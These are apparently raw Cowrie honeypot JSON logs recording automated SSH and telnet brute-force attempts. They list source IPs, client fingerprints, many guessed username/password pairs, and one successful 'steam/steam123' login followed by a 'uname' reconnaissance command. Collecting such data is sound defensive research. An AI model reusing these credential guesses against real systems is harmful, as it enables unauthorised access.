{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:20.913625Z","src_ip":"165.154.137.186","session":"b23f5c767b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:20.928932Z","src_ip":"170.80.65.140","session":"b6c8c8cae679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:21.170678Z","src_ip":"165.154.137.186","session":"b23f5c767b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789987654321","message":"login attempt [root/123456789987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:21.465989Z","src_ip":"170.80.65.140","session":"b6c8c8cae679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:21.935336Z","src_ip":"165.154.137.186","session":"b23f5c767b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:22.593183Z","src_ip":"170.80.65.140","session":"b6c8c8cae679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:23.239515Z","src_ip":"165.154.137.186","session":"b23f5c767b33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47320,"dst_ip":"10.17.0.5","dst_port":22,"session":"85666b873f95","protocol":"ssh","message":"New connection: 165.154.137.186:47320 (10.17.0.5:22) [session: 85666b873f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:28.593990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:28.599363Z","src_ip":"165.154.137.186","session":"85666b873f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:28.872402Z","src_ip":"165.154.137.186","session":"85666b873f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:29.755087Z","src_ip":"165.154.137.186","session":"85666b873f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:31.052668Z","src_ip":"165.154.137.186","session":"85666b873f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34880,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d1fcf72d6a9","protocol":"ssh","message":"New connection: 165.154.137.186:34880 (10.17.0.5:22) [session: 9d1fcf72d6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:32.747835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:32.755206Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:33.017452Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:33.797246Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:34.362634Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:34.365921Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:34.634506Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:34.648539Z","src_ip":"165.154.137.186","session":"9d1fcf72d6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46948,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e69db87af3","protocol":"ssh","message":"New connection: 165.154.137.186:46948 (10.17.0.5:22) [session: 74e69db87af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:22.715296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:22.728656Z","src_ip":"165.154.137.186","session":"74e69db87af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:22.991043Z","src_ip":"165.154.137.186","session":"74e69db87af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:23.770905Z","src_ip":"165.154.137.186","session":"74e69db87af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fad9270c1db","protocol":"telnet","message":"New connection: 128.199.8.54:52368 (159.203.135.109:23) [session: 2fad9270c1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:24.296181Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:25.032605Z","src_ip":"165.154.137.186","session":"74e69db87af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50270,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ea955eb3ed9","protocol":"telnet","message":"New connection: 128.199.8.54:50270 (159.203.135.109:23) [session: 8ea955eb3ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:37.521351Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39500,"dst_ip":"10.17.0.5","dst_port":22,"session":"25a233d0ccf7","protocol":"ssh","message":"New connection: 165.154.137.186:39500 (10.17.0.5:22) [session: 25a233d0ccf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:37.710888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:37.718452Z","src_ip":"165.154.137.186","session":"25a233d0ccf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:38.020710Z","src_ip":"165.154.137.186","session":"25a233d0ccf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:38.830386Z","src_ip":"165.154.137.186","session":"25a233d0ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39504,"dst_ip":"10.17.0.5","dst_port":22,"session":"f32e614440ae","protocol":"ssh","message":"New connection: 165.154.137.186:39504 (10.17.0.5:22) [session: f32e614440ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:38.930899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:38.938260Z","src_ip":"165.154.137.186","session":"f32e614440ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:39.207030Z","src_ip":"165.154.137.186","session":"f32e614440ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:40.009604Z","src_ip":"165.154.137.186","session":"f32e614440ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:40.096812Z","src_ip":"165.154.137.186","session":"25a233d0ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:41.279074Z","src_ip":"165.154.137.186","session":"f32e614440ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":50844,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb06a2684e0","protocol":"ssh","message":"New connection: 43.153.12.68:50844 (10.17.0.5:22) [session: fdb06a2684e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:52.414206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:52.422225Z","src_ip":"43.153.12.68","session":"fdb06a2684e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:52.486529Z","src_ip":"43.153.12.68","session":"fdb06a2684e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2026","message":"login attempt [root/test@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:52.754511Z","src_ip":"43.153.12.68","session":"fdb06a2684e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:53.827143Z","src_ip":"43.153.12.68","session":"fdb06a2684e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38320,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd06c4bf49c3","protocol":"ssh","message":"New connection: 165.154.137.186:38320 (10.17.0.5:22) [session: cd06c4bf49c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:54.566322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:03:54.570564Z","src_ip":"165.154.137.186","session":"cd06c4bf49c3","protocol":"ssh"}
